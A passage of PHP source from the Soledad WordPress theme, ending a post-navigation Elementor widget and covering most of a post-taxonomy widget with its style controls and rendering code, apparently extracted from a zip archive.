				'style-2'       => esc_html__( 'Style 2', 'soledad' ),
				'style-3'       => esc_html__( 'Style 3', 'soledad' ),
				'style-4'       => esc_html__( 'Style 4', 'soledad' ),
				'style-5'       => esc_html__( 'Style 5', 'soledad' ),
			],
		) );

		$this->add_control( 'penci_post_nav_thumbnail', [
			'label'   => esc_html__( 'Show Post Navigation Thumbnail?', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SWITCHER,
			'default' => '',
		] );

		$this->add_control( 'penci_trans_previous_post', [
			'label'   => esc_html__( 'Text: Previous Post', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXT,
			'default' => penci_get_setting( 'penci_trans_previous_post' ),
		] );

		$this->add_control( 'penci_trans_next_post', [
			'label'   => esc_html__( 'Text: Next Post', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXT,
			'default' => penci_get_setting( 'penci_trans_next_post' ),
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'image_setup', [
			'label'     => esc_html__( 'Thumbnail Settings', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_post_nav_thumbnail' => 'yes' ],
		] );
		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Custom Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );
		$this->add_responsive_control( 'thumb_ratio', array(
			'label'       => __( 'Thumbnail Ratio (%)', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SLIDER,
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-post-nav-thumb:before' => 'padding-top: {{SIZE}}%; content: ""; display: block;',
				'{{WRAPPER}} .penci-post-nav-thumb'        => 'height: auto;',
			),
			'render_type' => 'template'
		) );
		$this->add_responsive_control( 'thumb_w', array(
			'label'     => __( 'Thumbnail Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-post-nav-thumb' => 'width: {{SIZE}}px;' ),
		) );
		$this->add_responsive_control( 'thumb_br', array(
			'label'     => __( 'Thumbnail Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-post-nav-thumb' => 'border-radius: {{SIZE}}px' ),
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'post_desc_typo',
			'label'    => __( 'Typography for Small Text Description', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-pagination .prev-post-title span',
		) );

		$this->add_control( 'post_desc_color', [
			'label'     => 'Color for Small Text Description',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-pagination .prev-post-title span' => 'color: {{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'post_title_typo',
			'label'    => __( 'Typography for Post Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-pagination .prev-title, {{WRAPPER}} .post-pagination .next-title, {{WRAPPER}} .post-pagination.pcpagp-style-2 .prev-post-title, {{WRAPPER}} .post-pagination.pcpagp-style-3 .prev-post-title, {{WRAPPER}} .post-pagination.pcpagp-style-4 .prev-post-title, {{WRAPPER}} .post-pagination.pcpagp-style-5 .prev-post-title',
		) );

		$this->add_control( 'post_title_color', [
			'label'     => 'Post Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-pagination a' => 'color: {{VALUE}}' ],
		] );

		$this->add_control( 'post_title_hcolor', [
			'label'     => 'Post Title Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-pagination a:hover' => 'color: {{VALUE}}' ],
		] );
		$this->add_responsive_control( 'post_spacing', array(
			'label'     => __( 'Spacing Between Next & Previous Posts', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .prev-post,{{WRAPPER}} .next-post' => 'width:calc(50% - {{SIZE}}px/2)' ),
		) );

		$this->add_control( 'previousn_post_bg', [
			'label'     => 'Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .post-pagination .prvn-item' => 'background-color: {{VALUE}}',
			],
		] );
		$this->add_control( 'previousn_post_bdradius', array(
			'label'     => __( 'Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .prvn-item' => 'border-radius: {{SIZE}}%;overflow:hidden;',
			),
		) );
		$this->add_control( 'nprev_post_pd', array(
			'label'      => __( 'Add Paddding', 'soledad' ),
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array( '{{WRAPPER}} .prvn-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		$this->add_control( 'prev_post_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .prvn-item' => 'border: 1px solid {{VALUE}}' ),
		) );
		$this->add_control( 'prev_post_bdw', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array( '{{WRAPPER}} .prvn-item' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_control( 'prev_post_bdstyle', array(
			'label'     => __( 'Borders Style', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => [
				''       => esc_html__( 'Default', 'soledad' ),
				'solid'  => esc_html__( 'Solid', 'soledad' ),
				'double' => esc_html__( 'Double', 'soledad' ),
				'dotted' => esc_html__( 'Dotted', 'soledad' ),
				'dashed' => esc_html__( 'Dashed', 'soledad' ),
			],
			'selectors' => array( '{{WRAPPER}} .prvn-item' => 'border-style: {{VALUE}}' ),
		) );
		$this->add_control( 'previous_post_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .prvn-item' => 'border-color: {{VALUE}}' ),
		) );
		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings = $this->get_settings();
		$width    = 300;
		$height   = 300;
		$class    = isset( $settings['thumb_ratio']['size'] ) && $settings['thumb_ratio']['size'] ? 'has-custom-ratio' : 'default-ratio';
		$style    = $settings['penci_post_nav_style'];
		$class    .= ' pcpagp-'.$style;
		?>
        <div class="post-pagination <?php echo $class; ?>">

            <div class="prev-post prvn-item">
				<?php if ( $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb penci-image-holder penci-holder-load penci-lazy"
                           href="#"
                           data-bgset="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb penci-image-holder"
                           href="#"
                           style="background-image: url('<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="prev-post-inner">
                	<?php if ( $style == 'style-3'): ?>
	                <div class="prev-post-inner-ct">
	                <?php endif; ?>
                    <div class="prev-post-title">
                        <span><?php echo $settings['penci_trans_previous_post']; ?></span>
                    </div>
                    <a href="#">
                        <div class="pagi-text">
                            <h5 class="prev-title">Previous Post Title</h5>
                        </div>
                    </a>
                    <?php if ( $style == 'style-3'): ?>
	                </div>
	                <?php endif; ?>
                </div>
            </div>

            <div class="next-post prvn-item">
				<?php if ( $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb nav-thumb-next penci-image-holder penci-holder-load penci-lazy"
                           href="#"
                           data-bgset="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb nav-thumb-next"
                           href="#"
                           style="background-image: url('<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="next-post-inner">
                	<?php if ( $style == 'style-3'): ?>
	                <div class="next-post-inner-ct">
	                <?php endif; ?>
                    <div class="prev-post-title next-post-title">
                        <span><?php echo $settings['penci_trans_next_post']; ?></span>
                    </div>
                    <a href="#">
                        <div class="pagi-text">
                            <h5 class="next-title">Next Post Title</h5>
                        </div>
                    </a>
                    <?php if ( $style == 'style-3'): ?>
	                </div>
	                <?php endif; ?>
                </div>
            </div>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings  = $this->get_settings();
		$thumbsize = $settings['thumb_size'];
		$style    = $settings['penci_post_nav_style'];
		$class    = isset( $settings['thumb_ratio']['size'] ) && $settings['thumb_ratio']['size'] ? 'has-custom-ratio' : 'default-ratio';
		$class    .= ' pcpagp-'.$style;
		?>
        <div class="post-pagination <?php echo $class;?>">
			<?php
			$prev_post = get_previous_post();
			$next_post = get_next_post();
			?>
			<?php if ( ! empty( $prev_post ) ) : ?>
                <div class="prev-post prvn-item">
					<?php if ( has_post_thumbnail( $prev_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                            <a class="penci-post-nav-thumb penci-holder-load penci-lazy"
                               href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                               data-bgset="<?php echo penci_image_srcset( $prev_post->ID, $thumbsize ); ?>">
                            </a>
						<?php } else { ?>
                            <a class="penci-post-nav-thumb"
                               href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                               style="background-image: url('<?php echo penci_get_featured_image_size( $prev_post->ID, $thumbsize ); ?>');">
                            </a>
						<?php } ?>
					<?php endif; ?>
                    <div class="prev-post-inner">
                    	<?php if ( $style == 'style-3'): ?>
		                <div class="prev-post-inner-ct">
		                <?php endif; ?>
                        <div class="prev-post-title">
                            <span><?php echo penci_get_setting( 'penci_trans_previous_post' ); ?></span>
                        </div>
                        <a href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                            <div class="pagi-text">
                                <h5 class="prev-title"><?php echo get_the_title( $prev_post->ID ); ?></h5>
                            </div>
                        </a>
                        <?php if ( $style == 'style-3'): ?>
		                </div>
		                <?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ( ! empty( $next_post ) ) : ?>
                <div class="next-post prvn-item">
					<?php if ( has_post_thumbnail( $next_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                            <a class="penci-post-nav-thumb penci-holder-load penci-lazy nav-thumb-next"
                               href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                               data-bgset="<?php echo penci_image_srcset( $next_post->ID, $thumbsize ); ?>">
                            </a>
						<?php } else { ?>
                            <a class="penci-post-nav-thumb nav-thumb-next"
                               href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                               style="background-image: url('<?php echo penci_get_featured_image_size( $next_post->ID, $thumbsize ); ?>');">
                            </a>
						<?php } ?>
					<?php endif; ?>
                    <div class="next-post-inner">
                    	<?php if ( $style == 'style-3'): ?>
		                <div class="next-post-inner-ct">
		                <?php endif; ?>
                        <div class="prev-post-title next-post-title">
                            <span><?php echo penci_get_setting( 'penci_trans_next_post' ); ?></span>
                        </div>
                        <a href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                            <div class="pagi-text">
                                <h5 class="next-title"><?php echo get_the_title( $next_post->ID ); ?></h5>
                            </div>
                        </a>
                        <?php if ( $style == 'style-3'): ?>
		                </div>
		                <?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}
}
PK     N\j#s]B  ]B  1  inc/template-builder/single-elements/taxonomy.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleTaxonomy extends \Elementor\Widget_Base {

	public function get_name() {
		return 'penci-single-taxonomy';
	}

	public function get_title() {
		return esc_html__( 'Post - Taxonomy', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-folder-o';
	}

	public function get_categories() {
		return array( 'penci-single-builder' );
	}

	public function get_keywords() {
		return array( 'single', 'taxonomy' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
			)
		);

		$post_taxonomies = get_object_taxonomies( 'post' );
		$post_tax        = array();
		$post_tax['']    = 'Select';
		foreach ( $post_taxonomies as $tname ) {
			$labels             = get_taxonomy( $tname );
			$post_tax[ $tname ] = $labels->label;
		}

		foreach ( penci_get_published_posttypes() as $type ) {

			$type_data = get_object_taxonomies( $type );
			if ( is_array( $type_data ) ) {
				foreach ( $type_data as $type_name ) {
					$labels                 = get_taxonomy( $type_name );
					$post_tax[ $type_name ] = $labels->label;
				}
			}
		}

		$this->add_control(
			'term_name',
			array(
				'label'   => 'Taxonomies',
				'type'    => \Elementor\Controls_Manager::SELECT,
				'options' => $post_tax,
				'default' => '',
			)
		);

		$this->add_control(
			'term_style',
			array(
				'label'   => 'Display Style',
				'type'    => \Elementor\Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => 'Style 1',
					's2' => 'Style 2',
					's3' => 'Style 3',
					's4' => 'Style 4',
				),
			)
		);

		$this->add_control(
			'tax_align',
			array(
				'label'     => __( 'Text Align', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::CHOOSE,
				'default'   => 'left',
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-list' => 'text-align:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_link',
			array(
				'label'     => 'Show Taxonomy as Text',
				'type'      => \Elementor\Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => '',
			)
		);

		$this->add_control(
			'term_text',
			array(
				'label'   => 'Show Label Text',
				'type'    => \Elementor\Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'term_divider',
			array(
				'label'     => 'Show Icon Divider',
				'type'      => \Elementor\Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
			)
		);

		$this->add_control(
			'term_divider_icon',
			array(
				'label'     => 'Divider Icon',
				'type'      => \Elementor\Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'far fa-circle',
					'library' => 'fa-regular',
				),
				'condition' => array( 'term_divider' => 'yes' ),
			)
		);

		$this->add_control(
			'divider_icon_size',
			array(
				'label'     => 'Divider Icon Size',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'default'   => array( 'size' => '7' ),
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 20,
					),
				),
				'selectors' => array( '{{WRAPPER}} .divider-icon' => 'font-size: {{SIZE}}px;' ),
				'condition' => array( 'term_divider' => 'yes' ),
			)
		);

		$this->add_control(
			'term_spacing',
			array(
				'label'     => 'Spacing Between Taxonomy Terms',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'margin-right: {{SIZE}}px;margin-left: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'content_label',
			array(
				'label'     => esc_html__( 'Label Settings', 'soledad' ),
				'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
				'condition' => array( 'term_text' => 'yes' ),
			)
		);

		$this->add_control(
			'label_text',
			array(
				'label'   => 'Label Text',
				'type'    => \Elementor\Controls_Manager::TEXT,
				'default' => '',
			)
		);

		$this->add_control(
			'label_enable_icon',
			array(
				'label'   => 'Show Icon Before Lable Text?',
				'type'    => \Elementor\Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'label_icon_display',
			array(
				'label'     => 'Label Icon',
				'type'      => \Elementor\Controls_Manager::ICONS,
				'condition' => array( 'label_enable_icon' => 'yes' ),
				'default'   => array(
					'value'   => 'far fa-tags',
					'library' => 'fa-regular',
				),
			)
		);

		$this->add_control(
			'label_spacing',
			array(
				'label'     => 'Label Spacing',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-list .term-labels' => 'margin-right: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'color_style',
			array(
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(),
			array(
				'name'     => 'term_typo',
				'label'    => __( 'Typography for Term', 'soledad' ),
				'selector' => '{{WRAPPER}} .pctmp-term-item',
			)
		);

		$this->add_control(
			'term_color',
			array(
				'label'     => 'Term Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_hcolor',
			array(
				'label'     => 'Term Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bgcolor',
			array(
				'label'     => 'Term Background Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bghcolor',
			array(
				'label'     => 'Term Background Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bcolor',
			array(
				'label'     => 'Term Background Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bhcolor',
			array(
				'label'     => 'Term Background Borders Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_padding',
			array(
				'label'      => 'Term Item Padding',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border',
			array(
				'label'      => 'Term Item Border',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border_style',
			array(
				'label'     => 'Term Borders Style',
				'type'      => \Elementor\Controls_Manager::SELECT,
				'options'   => array(
					'dotted' => 'Dotted',
					'dashed' => 'Dashed',
					'solid'  => 'Solid',
					'double' => 'Double',
					'groove' => 'Groove',
					'ridge'  => 'Ridge',
					'inset'  => 'Inset',
					'outset' => 'Outset',
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-style:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_border_radius',
			array(
				'label'      => 'Term Item Borders Radius',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'divider_color',
			array(
				'label'     => 'Divider Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .divider-icon' => 'color:{{VALUE}}' ),
				'condition' => array( 'term_divider' => 'yes' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'style_label',
			array(
				'label'     => esc_html__( 'Label Style', 'soledad' ),
				'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
				'condition' => array( 'term_text' => 'yes' ),
			)
		);

		$this->add_control(
			'icon_color',
			array(
				'label'     => 'Icon Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .term-labels i' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_responsive_control(
			'icon_size',
			array(
				'label'     => 'Icon Size',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .term-labels i' => 'font-size:{{SIZE}}px' ),
			)
		);

		$this->add_control(
			'label_style',
			array(
				'label'   => 'Label Style',
				'type'    => \Elementor\Controls_Manager::SELECT,
				'default' => 'default',
				'options' => array(
					'default' => 'Default',
					's1'      => 'Style 1',
					's2'      => 'Style 2',
					's3'      => 'Style 3',
					's4'      => 'Style 4',
				),
			)
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(),
			array(
				'name'     => 'label_typo',
				'label'    => __( 'Typography for Label', 'soledad' ),
				'selector' => '{{WRAPPER}} .term-labels',
			)
		);

		$this->add_control(
			'label_color',
			array(
				'label'     => 'Label Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .term-labels' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_bgcolor',
			array(
				'label'     => 'Label Background Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .term-labels' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_bcolor',
			array(
				'label'     => 'Label Background Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_padding',
			array(
				'label'      => 'Label Item Padding',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .term-labels' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'label_border',
			array(
				'label'      => 'Label Item Border',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .term-labels' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'label_border_style',
			array(
				'label'     => 'Label Borders Style',
				'type'      => \Elementor\Controls_Manager::SELECT,
				'options'   => array(
					'dotted' => 'Dotted',
					'dashed' => 'Dashed',
					'solid'  => 'Solid',
					'double' => 'Double',
					'groove' => 'Groove',
					'ridge'  => 'Ridge',
					'inset'  => 'Inset',
					'outset' => 'Outset',
				),
				'selectors' => array( '{{WRAPPER}} .term-labels' => 'border-style:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'label_border_radius',
			array(
				'label'      => 'Label Item Borders Radius',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .term-labels' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings          = $this->get_settings();
		$term_text         = $settings['term_text'];
		$label_text        = $settings['label_text'];
		$term_link         = $settings['term_link'];
		$label_enable_icon = $settings['label_enable_icon'];
		$label_icon        = $settings['label_icon_display'];
		$before            = 'a href="#"';
		$after             = 'a';
		$divider           = $settings['term_divider'];
		$divider_icon      = $settings['term_divider_icon'];
		$term_style        = $settings['term_style'];
		$label_style       = $settings['label_style'];
		if ( $term_link ) {
			$before = $after = 'span';
		}
		?>
		<div class="pctmp-term-list term-style-<?php echo esc_attr( $term_style ); ?> label-style-<?php echo esc_attr( $label_style ); ?>">
			<?php if ( $term_text && $label_text ) : ?>
				<span class="term-labels">
				<?php if ( $label_icon && $label_enable_icon ) : ?>
					<?php \Elementor\Icons_Manager::render_icon( $label_icon ); ?>
				<?php endif; ?>
				<?php echo $label_text; ?>
			</span>
				<?php
			endif;
			$demo_terms  = array(
				'Animal',
				'World',
				'Miami',
				'Tini',
				'Coast',
			);
			$i           = 0;
			$total_items = count( $demo_terms );
			foreach ( $demo_terms as $term ) {
				echo '<' . $before . ' class="pctmp-term-item">' . $term . '</' . $after . '>';
				if ( $divider && $divider_icon && $i++ < ( $total_items - 1 ) ) {
					echo '<span class="divider-icon">';
					\Elementor\Icons_Manager::render_icon( $divider_icon );
					echo '</span>';
				}
			}
			?>
		</div>
		<?php
	}

	protected function builder_content() {
		$settings          = $this->get_settings();
		$term_name         = $settings['term_name'];
		$term_text         = $settings['term_text'];
		$label_text        = $settings['label_text'];
		$term_link         = $settings['term_link'];
		$label_enable_icon = $settings['label_enable_icon'];
		$label_icon        = $settings['label_icon_display'];
		$divider           = $settings['term_divider'];
		$divider_icon      = $settings['term_divider_icon'];
		$terms             = wp_get_post_terms( get_the_ID(), $term_name );
		$term_style        = $settings['term_style'];
		$label_style       = $settings['label_style'];
		if ( $terms ) {
			?>
			<div class="pctmp-term-list term-style-<?php echo esc_attr( $term_style ); ?> label-style-<?php echo esc_attr( $label_style ); ?>">
				<?php if ( $term_text && $label_text ) : ?>
					<span class="term-labels">
					<?php if ( $label_icon && $label_enable_icon ) : ?>
						<?php \Elementor\Icons_Manager::render_icon( $label_icon ); ?>
				<?php endif; ?>
					<?php echo $label_text; ?>
			</span>
					<?php
				endif;
				$terms       = wp_get_post_terms( get_the_ID(), $term_name );
				$i           = 0;
				$total_items = count( $terms );
				foreach ( $terms as $term ) {
					if ( $term_link ) {
